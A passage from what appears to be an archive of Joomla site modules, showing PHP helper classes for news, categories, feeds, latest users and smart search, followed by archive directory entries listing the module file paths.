			->where($db->quoteName('cc.core_state') . ' = 1')
			->extendWhere(
				'AND',
				[
					$db->quoteName('cc.core_access') . ' IN (' . implode(',', $query->bindArray($groups)) . ')',
					$db->quoteName('cc.core_access') . ' = 0',
				],
				'OR'
			)
			->extendWhere(
				'AND',
				[
					$db->quoteName('m.content_item_id') . ' <> :currentId',
					$db->quoteName('m.type_alias') . ' <> :prefix',
				],
				'OR'
			)
			->bind(':currentId', $id, ParameterType::INTEGER)
			->bind(':prefix', $prefix)
			->extendWhere(
				'AND',
				[
					$db->quoteName('cc.core_publish_up') . ' IS NULL',
					$db->quoteName('cc.core_publish_up') . ' = :nullDateUp',
					$db->quoteName('cc.core_publish_up') . ' <= :nowDateUp',
				],
				'OR'
			)
			->bind(':nullDateUp', $nullDate)
			->bind(':nowDateUp', $now)
			->extendWhere(
				'AND',
				[
					$db->quoteName('cc.core_publish_down') . ' IS NULL',
					$db->quoteName('cc.core_publish_down') . ' = :nullDateDown',
					$db->quoteName('cc.core_publish_down') . ' >= :nowDateDown',
				],
				'OR'
			)
			->bind(':nullDateDown', $nullDate)
			->bind(':nowDateDown', $now);

		// Optionally filter on language
		$language = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all');

		if ($language !== 'all')
		{
			if ($language === 'current_language')
			{
				$language = ContentHelper::getCurrentLanguage();
			}

			$query->whereIn($db->quoteName('cc.core_language'), [$language, '*'], ParameterType::STRING);
		}

		$query->group(
			[
				$db->quoteName('m.core_content_id'),
				$db->quoteName('m.content_item_id'),
				$db->quoteName('m.type_alias'),
				$db->quoteName('ct.router'),
				$db->quoteName('cc.core_title'),
				$db->quoteName('cc.core_alias'),
				$db->quoteName('cc.core_catid'),
				$db->quoteName('cc.core_language'),
				$db->quoteName('cc.core_params'),
			]
		);

		if ($matchtype === 'all' && $tagCount > 0)
		{
			$query->having('COUNT( ' . $db->quoteName('tag_id') . ')  = :tagCount')
				->bind(':tagCount', $tagCount, ParameterType::INTEGER);
		}
		elseif ($matchtype === 'half' && $tagCount > 0)
		{
			$tagCountHalf = ceil($tagCount / 2);
			$query->having('COUNT( ' . $db->quoteName('tag_id') . ')  >= :tagCount')
				->bind(':tagCount', $tagCountHalf, ParameterType::INTEGER);
		}

		if ($ordering === 'count' || $ordering === 'countrandom')
		{
			$query->order($db->quoteName('count') . ' DESC');
		}

		if ($ordering === 'random' || $ordering === 'countrandom')
		{
			$query->order($query->rand());
		}

		$query->setLimit((int) $params->get('maximum', 5));
		$db->setQuery($query);

		try
		{
			$results = $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			$results = [];
			$app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		foreach ($results as $result)
		{
			$result->link = RouteHelper::getItemRoute(
				$result->content_item_id,
				$result->core_alias,
				$result->core_catid,
				$result->core_language,
				$result->type_alias,
				$result->router
			);

			$result->core_params = new Registry($result->core_params);
		}

		return $results;
	}
}
PK!<��+��3mod_articles_news/src/Helper/ArticlesNewsHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\ArticlesNews\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Content\Site\Helper\RouteHelper;

/**
 * Helper for mod_articles_news
 *
 * @since  1.6
 */
abstract class ArticlesNewsHelper
{
	/**
	 * Get a list of the latest articles from the article model
	 *
	 * @param   \Joomla\Registry\Registry  &$params  object holding the models parameters
	 *
	 * @return  mixed
	 *
	 * @since 1.6
	 */
	public static function getList(&$params)
	{
		$app = Factory::getApplication();

		/** @var \Joomla\Component\Content\Site\Model\ArticlesModel $model */
		$model = $app->bootComponent('com_content')
			->getMVCFactory()->createModel('Articles', 'Site', ['ignore_request' => true]);

		// Set application parameters in model
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		$model->setState('list.start', 0);
		$model->setState('filter.published', 1);

		// Set the filters based on the module params
		$model->setState('list.limit', (int) $params->get('count', 5));

		// This module does not use tags data
		$model->setState('load_tags', false);

		// Access filter
		$access     = !ComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = Access::getAuthorisedViewLevels(Factory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		// Filter by tag
		$model->setState('filter.tag', $params->get('tag', array()));

		// Featured switch
		$featured = $params->get('show_featured', '');

		if ($featured === '')
		{
			$model->setState('filter.featured', 'show');
		}
		elseif ($featured)
		{
			$model->setState('filter.featured', 'only');
		}
		else
		{
			$model->setState('filter.featured', 'hide');
		}

		// Filter by id in case it should be excluded
		if ($params->get('exclude_current', true)
			&& $app->input->get('option') === 'com_content'
			&& $app->input->get('view') === 'article')
		{
			// Exclude the current article from displaying in this module
			$model->setState('filter.article_id', $app->input->get('id', 0, 'UINT'));
			$model->setState('filter.article_id.include', false);
		}

		// Set ordering
		$ordering = $params->get('ordering', 'a.publish_up');
		$model->setState('list.ordering', $ordering);

		if (trim($ordering) === 'rand()')
		{
			$model->setState('list.ordering', Factory::getDbo()->getQuery(true)->rand());
		}
		else
		{
			$direction = $params->get('direction', 1) ? 'DESC' : 'ASC';
			$model->setState('list.direction', $direction);
			$model->setState('list.ordering', $ordering);
		}

		// Check if we should trigger additional plugin events
		$triggerEvents = $params->get('triggerevents', 1);

		// Retrieve Content
		$items = $model->getItems();

		foreach ($items as &$item)
		{
			$item->readmore = \strlen(trim($item->fulltext));
			$item->slug     = $item->id . ':' . $item->alias;

			if ($access || \in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link     = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language));
				$item->linkText = Text::_('MOD_ARTICLES_NEWS_READMORE');
			}
			else
			{
				$item->link = new Uri(Route::_('index.php?option=com_users&view=login', false));
				$item->link->setVar('return', base64_encode(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)));
				$item->linkText = Text::_('MOD_ARTICLES_NEWS_READMORE_REGISTER');
			}

			$item->introtext = HTMLHelper::_('content.prepare', $item->introtext, '', 'mod_articles_news.content');

			// Remove any images belongs to the text
			if (!$params->get('image'))
			{
				$item->introtext = preg_replace('/<img[^>]*>/', '', $item->introtext);
			}

			// Show the Intro/Full image field of the article
			if ($params->get('img_intro_full') !== 'none')
			{
				$images = json_decode($item->images);
				$item->imageSrc = '';
				$item->imageAlt = '';
				$item->imageCaption = '';

				if ($params->get('img_intro_full') === 'intro' && !empty($images->image_intro))
				{
					$item->imageSrc = htmlspecialchars($images->image_intro, ENT_COMPAT, 'UTF-8');
					$item->imageAlt = htmlspecialchars($images->image_intro_alt, ENT_COMPAT, 'UTF-8');

					if ($images->image_intro_caption)
					{
						$item->imageCaption = htmlspecialchars($images->image_intro_caption, ENT_COMPAT, 'UTF-8');
					}
				}
				elseif ($params->get('img_intro_full') === 'full' && !empty($images->image_fulltext))
				{
					$item->imageSrc = htmlspecialchars($images->image_fulltext, ENT_COMPAT, 'UTF-8');
					$item->imageAlt = htmlspecialchars($images->image_fulltext_alt, ENT_COMPAT, 'UTF-8');

					if ($images->image_intro_caption)
					{
						$item->imageCaption = htmlspecialchars($images->image_fulltext_caption, ENT_COMPAT, 'UTF-8');
					}
				}
			}

			if ($triggerEvents)
			{
				$item->text = '';
				$app->triggerEvent('onContentPrepare', array('com_content.article', &$item, &$params, 0));

				$results                 = $app->triggerEvent('onContentAfterTitle', array('com_content.article', &$item, &$params, 0));
				$item->afterDisplayTitle = trim(implode("\n", $results));

				$results                    = $app->triggerEvent('onContentBeforeDisplay', array('com_content.article', &$item, &$params, 0));
				$item->beforeDisplayContent = trim(implode("\n", $results));

				$results                   = $app->triggerEvent('onContentAfterDisplay', array('com_content.article', &$item, &$params, 0));
				$item->afterDisplayContent = trim(implode("\n", $results));
			}
			else
			{
				$item->afterDisplayTitle    = '';
				$item->beforeDisplayContent = '';
				$item->afterDisplayContent  = '';
			}
		}

		return $items;
	}
}
PK!�Γbb?mod_articles_categories/src/Helper/ArticlesCategoriesHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_categories
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\ArticlesCategories\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Categories\Categories;

/**
 * Helper for mod_articles_categories
 *
 * @since  1.5
 */
abstract class ArticlesCategoriesHelper
{
	/**
	 * Get list of articles
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public static function getList(&$params)
	{
		$options               = [];
		$options['countItems'] = $params->get('numitems', 0);

		$categories = Categories::getInstance('Content', $options);
		$category   = $categories->get($params->get('parent', 'root'));

		if ($category !== null)
		{
			$items = $category->getChildren();

			$count = $params->get('count', 0);

			if ($count > 0 && \count($items) > $count)
			{
				$items = \array_slice($items, 0, $count);
			}

			return $items;
		}
	}
}
PK!�M���"mod_feed/src/Helper/FeedHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_feed
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Feed\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Feed\FeedFactory;
use Joomla\CMS\Language\Text;

/**
 * Helper for mod_feed
 *
 * @since  1.5
 */
class FeedHelper
{
	/**
	 * Retrieve feed information
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 *
	 * @return  \Joomla\CMS\Feed\Feed|string
	 */
	public static function getFeed($params)
	{
		// Module params
		$rssurl = $params->get('rssurl', '');

		// Get RSS parsed object
		try
		{
			$feed   = new FeedFactory;
			$rssDoc = $feed->getFeed($rssurl);
		}
		catch (\Exception $e)
		{
			return Text::_('MOD_FEED_ERR_FEED_NOT_RETRIEVED');
		}

		if (empty($rssDoc))
		{
			return Text::_('MOD_FEED_ERR_FEED_NOT_RETRIEVED');
		}

		if ($rssDoc)
		{
			return $rssDoc;
		}
	}
}
PK!	�OL��1mod_users_latest/src/Helper/UsersLatestHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_users_latest
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\UsersLatest\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

/**
 * Helper for mod_users_latest
 *
 * @since  1.6
 */
class UsersLatestHelper
{
	/**
	 * Get users sorted by activation date
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 *
	 * @return  array  The array of users
	 *
	 * @since   1.6
	 */
	public static function getUsers($params)
	{
		$db    = Factory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName(['a.id', 'a.name', 'a.username', 'a.registerDate']))
			->order($db->quoteName('a.registerDate') . ' DESC')
			->from($db->quoteName('#__users', 'a'));
		$user = Factory::getUser();

		if (!$user->authorise('core.admin') && $params->get('filter_groups', 0) == 1)
		{
			$groups = $user->getAuthorisedGroups();

			if (empty($groups))
			{
				return array();
			}

			$query->leftJoin($db->quoteName('#__user_usergroup_map', 'm'), $db->quoteName('m.user_id') . ' = ' . $db->quoteName('a.id'))
				->leftJoin($db->quoteName('#__usergroups', 'ug'), $db->quoteName('ug.id') . ' = ' . $db->quoteName('m.group_id'))
				->whereIn($db->quoteName('ug.id'), $groups)
				->where($db->quoteName('ug.id') . ' <> 1');
		}

		$query->setLimit((int) $params->get('shownumber', 5));
		$db->setQuery($query);

		try
		{
			return (array) $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			Factory::getApplication()->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return array();
		}
	}
}
PK!���	�	&mod_finder/src/Helper/FinderHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Finder\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Finder\Administrator\Indexer\Query;
use Joomla\Utilities\ArrayHelper;

/**
 * Finder module helper.
 *
 * @since  2.5
 */
class FinderHelper
{
	/**
	 * Method to get hidden input fields for a get form so that control variables
	 * are not lost upon form submission.
	 *
	 * @param   string   $route      The route to the page. [optional]
	 * @param   integer  $paramItem  The menu item ID. (@since 3.1) [optional]
	 *
	 * @return  string  A string of hidden input form fields
	 *
	 * @since   2.5
	 */
	public static function getGetFields($route = null, $paramItem = 0)
	{
		// Determine if there is an item id before routing.
		$needId = !Uri::getInstance($route)->getVar('Itemid');

		$fields = array();
		$uri = Uri::getInstance(Route::_($route));
		$uri->delVar('q');

		// Create hidden input elements for each part of the URI.
		foreach ($uri->getQuery(true) as $n => $v)
		{
			$fields[] = '<input type="hidden" name="' . $n . '" value="' . $v . '">';
		}

		// Add a field for Itemid if we need one.
		if ($needId)
		{
			$id       = $paramItem ?: Factory::getApplication()->input->get('Itemid', '0', 'int');
			$fields[] = '<input type="hidden" name="Itemid" value="' . $id . '">';
		}

		return implode('', $fields);
	}

	/**
	 * Get Smart Search query object.
	 *
	 * @param   \Joomla\Registry\Registry  $params  Module parameters.
	 *
	 * @return  Query object
	 *
	 * @since   2.5
	 */
	public static function getQuery($params)
	{
		$request = Factory::getApplication()->input->request;
		$filter  = InputFilter::getInstance();

		// Get the static taxonomy filters.
		$options = array();
		$options['filter'] = ($request->get('f', 0, 'int') !== 0) ? $request->get('f', '', 'int') : $params->get('searchfilter');
		$options['filter'] = $filter->clean($options['filter'], 'int');

		// Get the dynamic taxonomy filters.
		$options['filters'] = $request->get('t', '', 'array');
		$options['filters'] = $filter->clean($options['filters'], 'array');
		$options['filters'] = ArrayHelper::toInteger($options['filters']);

		// Instantiate a query object.
		return new Query($options);
	}
}
PK!��}���mod_banners/helper.phpnu�[���PK!�緐���mod_banners/tmpl/default.phpnu&1i�PK!E���	mod_banners/mod_banners.xmlnu&1i�PK!�V�JJ%mod_banners/mod_banners.phpnu&1i�PK!�}׎h	h	�(mod_falang/tmpl/default.phpnu&1i�PK!�a�--J2mod_falang/tmpl/index.htmlnu&1i�PK!��T�� �2mod_falang/tmpl/default_list.phpnu&1i�PK!��G$�:mod_falang/tmpl/default_dropdown.phpnu&1i�PK!�a�--Mmod_falang/index.htmlnu&1i�PK!���S�D�D�Mmod_falang/helper.phpnu&1i�PK!�Ok877��mod_falang/mod_falang.xmlnu&1i�PK!�LM9((�mod_falang/mod_falang.phpnu&1i�PK!�]h}�
�
x�mod_feed/tmpl/default.phpnu&1i�PK!�n�ߖ�B�mod_feed/helper.phpnu�[���PK! ��||�mod_feed/mod_feed.xmlnu&1i�PK!Tx����mod_feed/mod_feed.phpnu&1i�PK!�����J9�mod_sr_experience_filter/language/ru-RU/ru-RU.mod_sr_experience_filter.ininu&1i�PK!�䐻��N��mod_sr_experience_filter/language/ru-RU/ru-RU.mod_sr_experience_filter.sys.ininu&1i�PK!ݭ}N��mod_sr_experience_filter/language/de-DE/de-DE.mod_sr_experience_filter.sys.ininu&1i�PK!�pL~~Jn�mod_sr_experience_filter/language/de-DE/de-DE.mod_sr_experience_filter.ininu&1i�PK!�1ϣ""Nf�mod_sr_experience_filter/language/en-GB/en-GB.mod_sr_experience_filter.sys.ininu&1i�PK!��=���J�mod_sr_experience_filter/language/en-GB/en-GB.mod_sr_experience_filter.ininu&1i�PK!�sm�55J�mod_sr_experience_filter/language/he-IL/he-IL.mod_sr_experience_filter.ininu&1i�PK!�>�xxN��mod_sr_experience_filter/language/he-IL/he-IL.mod_sr_experience_filter.sys.ininu&1i�PK!<�rOO)��mod_sr_experience_filter/forms/filter.xmlnu&1i�PK!Z�jee5`�mod_sr_experience_filter/mod_sr_experience_filter.xmlnu&1i�PK!�'��5*�mod_sr_experience_filter/mod_sr_experience_filter.phpnu&1i�PK!���)7�mod_sr_experience_filter/tmpl/default.phpnu&1i�PK!D\�l	l	/=mod_sr_experience_filter/fields/filterbytag.phpnu&1i�PK!�0����2!mod_sr_experience_filter/fields/filterbyreview.phpnu&1i�PK!+	�N�
�
0J'mod_sr_experience_filter/fields/rangebyprice.phpnu&1i�PK!�'[���3[2mod_sr_experience_filter/fields/filterbypartner.phpnu&1i�PK!��M\gg4m9mod_sr_experience_filter/fields/filterbycategory.phpnu&1i�PK!y&)�ww:8@mod_sr_experience_filter/fields/filterbytransportation.phpnu&1i�PK!{`���"Gmod_sr_experience_filter/checksumsnu&1i�PK!}~U�""#�Nmod_sr_experience_filter/helper.phpnu&1i�PK!0g�gAAobmod_languages/mod_languages.phpnu&1i�PK!�bQ���dmod_languages/mod_languages.xmlnu&1i�PK!j�'2��tmod_languages/helper.phpnu�[���PK!�>�@CCM�mod_languages/tmpl/default.phpnu&1i�PK!W-��%ޚmod_random_image/mod_random_image.xmlnu&1i�PK!��JI��%-�mod_random_image/mod_random_image.phpnu&1i�PK!�i�����mod_random_image/helper.phpnu�[���PK!oBt�!.�mod_random_image/tmpl/default.phpnu&1i�PK!Ĩ掙:�: ��mod_articles_category/helper.phpnu�[���PK!Ѹ-ճ=�=/~�mod_articles_category/mod_articles_category.xmlnu&1i�PK!}���/�.mod_articles_category/mod_articles_category.phpnu&1i�PK!ػ�A��&�7mod_articles_category/tmpl/default.phpnu&1i�PK!%xs�  -�;mod_articles_archive/mod_articles_archive.phpnu&1i�PK!H趶��-]>mod_articles_archive/mod_articles_archive.xmlnu&1i�PK!i�ء�	�	:Gmod_articles_archive/helper.phpnu�[���PK!j�@=��%+Qmod_articles_archive/tmpl/default.phpnu&1i�PK!yD^(MMzSmod_syndicate/helper.phpnu�[���PK!�B��JJWmod_syndicate/mod_syndicate.xmlnu&1i�PK!�k$���_mod_syndicate/mod_syndicate.phpnu&1i�PK!)A�s��ybmod_syndicate/tmpl/default.phpnu&1i�PK!���qN
N
 �emod_breadcrumbs/tmpl/default.phpnu&1i�PK!碔�$$#6pmod_breadcrumbs/mod_breadcrumbs.phpnu&1i�PK!'T�	�	�rmod_breadcrumbs/helper.phpnu�[���PK!��G��#w|mod_breadcrumbs/mod_breadcrumbs.xmlnu&1i�PK!7���F��mod_gantry5_particle/language/en-GB/en-GB.mod_gantry5_particle.sys.ininu&1i�PK!2f㏟�B��mod_gantry5_particle/language/en-GB/en-GB.mod_gantry5_particle.ininu&1i�PK!$�{���mod_gantry5_particle/helper.phpnu&1i�PK!���		-��mod_gantry5_particle/mod_gantry5_particle.xmlnu&1i�PK!�9cM��-p�mod_gantry5_particle/mod_gantry5_particle.phpnu&1i�PK!�ӱkkx�mod_gantry5_particle/MD5SUMSnu&1i�PK!�ve^��/�mod_articles_latest/helper.phpnu�[���PK!���UXX$x�mod_articles_latest/tmpl/default.phpnu&1i�PK!�nӃ�+$�mod_articles_latest/mod_articles_latest.phpnu&1i�PK!l<�+�mod_articles_latest/mod_articles_latest.xmlnu&1i�PK!����\\x�mod_footer/mod_footer.xmlnu&1i�PK!��K���mod_footer/mod_footer.phpnu&1i�PK!&�Sf��,�mod_footer/tmpl/default.phpnu&1i�PK!jb�;jj3�mod_login/mod_login.xmlnu&1i�PK!��J��mod_login/mod_login.phpnu&1i�PK!(G�ffE�mod_login/helper.phpnu�[���PK!������mod_login/tmpl/default.phpnu&1i�PK!�Zkk!mod_login/tmpl/default_logout.phpnu&1i�PK!�o��� mod_search/tmpl/default.phpnu�[���PK!_a У��)mod_search/helper.phpnu�[���PK!��&���,mod_search/mod_search.phpnu�[���PK!9}K=�4mod_search/mod_search.xmlnu�[���PK!�V�
�Findex.htmlnu&1i�PK!^�Ojff%QGmod_tags_popular/mod_tags_popular.phpnu&1i�PK!�o�//%Kmod_tags_popular/mod_tags_popular.xmlnu&1i�PK!&��uu�]mod_tags_popular/helper.phpnu�[���PK!3�����Pnmod_tags_popular/tmpl/cloud.phpnu&1i�PK!8�Z�JJ!tumod_tags_popular/tmpl/default.phpnu&1i�PK!Lb�oDD%zmod_articles_popular/tmpl/default.phpnu&1i�PK!?��-�|mod_articles_popular/mod_articles_popular.phpnu&1i�PK!7	6kk-�mod_articles_popular/mod_articles_popular.xmlnu&1i�PK!�0i�OOÐmod_articles_popular/helper.phpnu�[���PK!#fe��'a�mod_articles_news/mod_articles_news.xmlnu&1i�PK!�M@���'c�mod_articles_news/mod_articles_news.phpnu&1i�PK!�l�)!!��mod_articles_news/helper.phpnu�[���PK!���QQ  �mod_articles_news/tmpl/_item.phpnu&1i�PK!Vy�%��mod_articles_news/tmpl/horizontal.phpnu&1i�PK!�����#&�mod_articles_news/tmpl/vertical.phpnu&1i�PK!�}�bb"e�mod_articles_news/tmpl/default.phpnu&1i�PK!9��BB�mod_custom/tmpl/default.phpnu&1i�PK!:zuu��mod_custom/mod_custom.phpnu&1i�PK!��|b	b	d�mod_custom/mod_custom.xmlnu&1i�PK!���mod_stats/tmpl/default.phpnu&1i�PK!�ys�//Y�mod_stats/mod_stats.phpnu&1i�PK!���Xoo�mod_stats/mod_stats.xmlnu&1i�PK!��W�mod_stats/helper.phpnu�[���PK!B�J�mod_sr_checkavailability/language/pt-BR/pt-BR.mod_sr_checkavailability.ininu&1i�PK!g�)�eeNdmod_sr_checkavailability/language/pt-BR/pt-BR.mod_sr_checkavailability.sys.ininu&1i�PK!?w ��NG"mod_sr_checkavailability/language/de-DE/de-DE.mod_sr_checkavailability.sys.ininu&1i�PK!Wm��
�
J\#mod_sr_checkavailability/language/de-DE/de-DE.mod_sr_checkavailability.ininu&1i�PK!x��!!N�.mod_sr_checkavailability/language/el-GR/el-GR.mod_sr_checkavailability.sys.ininu&1i�PK!�E�B�
�
Jt0mod_sr_checkavailability/language/el-GR/el-GR.mod_sr_checkavailability.ininu&1i�PK!x�����Nn>mod_sr_checkavailability/language/pl-PL/pl-PL.mod_sr_checkavailability.sys.ininu&1i�PK!�m�pk
k
J�?mod_sr_checkavailability/language/pl-PL/pl-PL.mod_sr_checkavailability.ininu&1i�PK!VFo���J�Jmod_sr_checkavailability/language/he-IL/he-IL.mod_sr_checkavailability.ininu&1i�PK!ꪕ�JJN�Zmod_sr_checkavailability/language/he-IL/he-IL.mod_sr_checkavailability.sys.ininu&1i�PK!F�n;��Nq^mod_sr_checkavailability/language/fr-FR/fr-FR.mod_sr_checkavailability.sys.ininu&1i�PK!�X�
�
J�_mod_sr_checkavailability/language/fr-FR/fr-FR.mod_sr_checkavailability.ininu&1i�PK!g�)�eeN�jmod_sr_checkavailability/language/en-GB/en-GB.mod_sr_checkavailability.sys.ininu&1i�PK!���PPJ�mmod_sr_checkavailability/language/en-GB/en-GB.mod_sr_checkavailability.ininu&1i�PK!�x���	�	JVzmod_sr_checkavailability/language/cs-CZ/cs-CZ.mod_sr_checkavailability.ininu&1i�PK!3pߋ�N��mod_sr_checkavailability/language/cs-CZ/cs-CZ.mod_sr_checkavailability.sys.ininu&1i�PK!@Mֲ##J��mod_sr_checkavailability/language/ru-RU/ru-RU.mod_sr_checkavailability.ininu&1i�PK!�j��NW�mod_sr_checkavailability/language/ru-RU/ru-RU.mod_sr_checkavailability.sys.ininu&1i�PK!lW39��N��mod_sr_checkavailability/language/it-IT/it-IT.mod_sr_checkavailability.sys.ininu&1i�PK!o��Հ	�	J�mod_sr_checkavailability/language/it-IT/it-IT.mod_sr_checkavailability.ininu&1i�PK!�t�J��mod_sr_checkavailability/language/es-ES/es-ES.mod_sr_checkavailability.ininu&1i�PK!g�)�eeN��mod_sr_checkavailability/language/es-ES/es-ES.mod_sr_checkavailability.sys.ininu&1i�PK!{6�[j%j%5i�mod_sr_checkavailability/mod_sr_checkavailability.phpnu&1i�PK!�e�:��58�mod_sr_checkavailability/mod_sr_checkavailability.xmlnu&1i�PK!���Ec#c#)N�mod_sr_checkavailability/tmpl/default.phpnu&1i�PK!��>:=(=(,
mod_sr_checkavailability/tmpl/horizontal.phpnu&1i�PK!�*�#��#�9mod_sr_checkavailability/helper.phpnu&1i�PK!N$^X�
�
�<mod_whosonline/helper.phpnu�[���PK!H5��	�	!eGmod_whosonline/mod_whosonline.xmlnu&1i�PK!����FF!�Qmod_whosonline/mod_whosonline.phpnu&1i�PK!�CU�� Umod_whosonline/tmpl/default.phpnu&1i�PK!R>^

(NYmod_articles_categories/tmpl/default.phpnu&1i�PK!ki����.�[mod_articles_categories/tmpl/default_items.phpnu&1i�PK!����3�bmod_articles_categories/mod_articles_categories.xmlnu&1i�PK!�Q��gg3�umod_articles_categories/mod_articles_categories.phpnu&1i�PK!@r�"{ymod_articles_categories/helper.phpnu�[���PK!c�����,�}mod_sr_experience_search/tmpl/horizontal.phpnu&1i�PK!�`5���)ߙmod_sr_experience_search/tmpl/default.phpnu&1i�PK! ܷ���#�mod_sr_experience_search/helper.phpnu&1i�PK!�n2�#�#57�mod_sr_experience_search/mod_sr_experience_search.xmlnu&1i�PK!
�O?��5E�mod_sr_experience_search/mod_sr_experience_search.phpnu&1i�PK!,�ݲww"�mod_sr_experience_search/checksumsnu&1i�PK!�P��Nkmod_sr_experience_search/language/de-DE/de-DE.mod_sr_experience_search.sys.ininu&1i�PK!A��i99J�mod_sr_experience_search/language/de-DE/de-DE.mod_sr_experience_search.ininu&1i�PK!��-���NBmod_sr_experience_search/language/en-GB/en-GB.mod_sr_experience_search.sys.ininu&1i�PK!"
2eeJomod_sr_experience_search/language/en-GB/en-GB.mod_sr_experience_search.ininu&1i�PK!�G�G{{JNmod_sr_experience_search/language/ru-RU/ru-RU.mod_sr_experience_search.ininu&1i�PK!�sNR��NCmod_sr_experience_search/language/ru-RU/ru-RU.mod_sr_experience_search.sys.ininu&1i�PK!K�q��%�mod_tags_similar/mod_tags_similar.phpnu&1i�PK!��#���!�mod_tags_similar/tmpl/default.phpnu&1i�PK!���11%�mod_tags_similar/mod_tags_similar.xmlnu&1i�PK!�9>L��b)mod_tags_similar/helper.phpnu�[���PK!��"9ff�=mod_menu/helper.phpnu�[���PK!+��#33NWmod_menu/tmpl/default_url.phpnu&1i�PK!N�����!�]mod_menu/tmpl/default_heading.phpnu&1i�PK!܆����#�amod_menu/tmpl/default_separator.phpnu&1i�PK!ܝt�&&#fmod_menu/tmpl/default_component.phpnu&1i�PK!0-���|lmod_menu/tmpl/default.phpnu&1i�PK!��f�??�umod_menu/mod_menu.phpnu&1i�PK!��5ymod_menu/mod_menu.xmlnu&1i�PK!��pkQQ��mod_wrapper/tmpl/default.phpnu&1i�PK!n�}���%�mod_wrapper/mod_wrapper.xmlnu&1i�PK!Z�٨�Z�mod_wrapper/mod_wrapper.phpnu&1i�PK!�K�Ñ�M�mod_wrapper/helper.phpnu�[���PK!Rd��33$�mod_finder/mod_finder.phpnu&1i�PK!���v��mod_finder/mod_finder.xmlnu&1i�PK!
'�h	h	�mod_finder/helper.phpnu�[���PK!Y��
�
��mod_finder/tmpl/default.phpnu&1i�PK!��VW.��mod_iccalendar/js/jQuery.highlightToday.min.jsnu&1i�PK!�mod_iccalendar/js/index.htmlnu&1i�PK!_CI��*]�mod_iccalendar/js/jQuery.highlightToday.jsnu&1i�PK!Tq#�&P�mod_iccalendar/js/jquery.noconflict.jsnu&1i�PK!O>fh�h���mod_iccalendar/helper.phpnu&1i�PK!k�mod_iccalendar/index.htmlnu&1i�PK!�u��L�L!��mod_iccalendar/mod_iccalendar.xmlnu&1i�PK!P�j�C�C!��mod_iccalendar/mod_iccalendar.phpnu&1i�PK!Hw߆�8�)mod_sr_currency/language/en-GB/en-GB.mod_sr_currency.ininu&1i�PK!4'��<�+mod_sr_currency/language/en-GB/en-GB.mod_sr_currency.sys.ininu&1i�PK!��Jʹ�8�,mod_sr_currency/language/he-IL/he-IL.mod_sr_currency.ininu&1i�PK!B����<�.mod_sr_currency/language/he-IL/he-IL.mod_sr_currency.sys.ininu&1i�PK!L�2z��8�/mod_sr_currency/language/de-DE/de-DE.mod_sr_currency.ininu&1i�PK!��O���<�1mod_sr_currency/language/de-DE/de-DE.mod_sr_currency.sys.ininu&1i�PK!hQ�PP<�2mod_sr_currency/language/el-GR/el-GR.mod_sr_currency.sys.ininu&1i�PK!�#k��8�4mod_sr_currency/language/el-GR/el-GR.mod_sr_currency.ininu&1i�PK!!�ED��8�6mod_sr_currency/language/pl-PL/pl-PL.mod_sr_currency.ininu&1i�PK!�����<�8mod_sr_currency/language/pl-PL/pl-PL.mod_sr_currency.sys.ininu&1i�PK!4'��<:mod_sr_currency/language/pt-BR/pt-BR.mod_sr_currency.sys.ininu&1i�PK!�cq�nn8;mod_sr_currency/language/pt-BR/pt-BR.mod_sr_currency.ininu&1i�PK!��.��<�<mod_sr_currency/language/it-IT/it-IT.mod_sr_currency.sys.ininu&1i�PK!����pp8�=mod_sr_currency/language/it-IT/it-IT.mod_sr_currency.ininu&1i�PK!�jՖ[[8�?mod_sr_c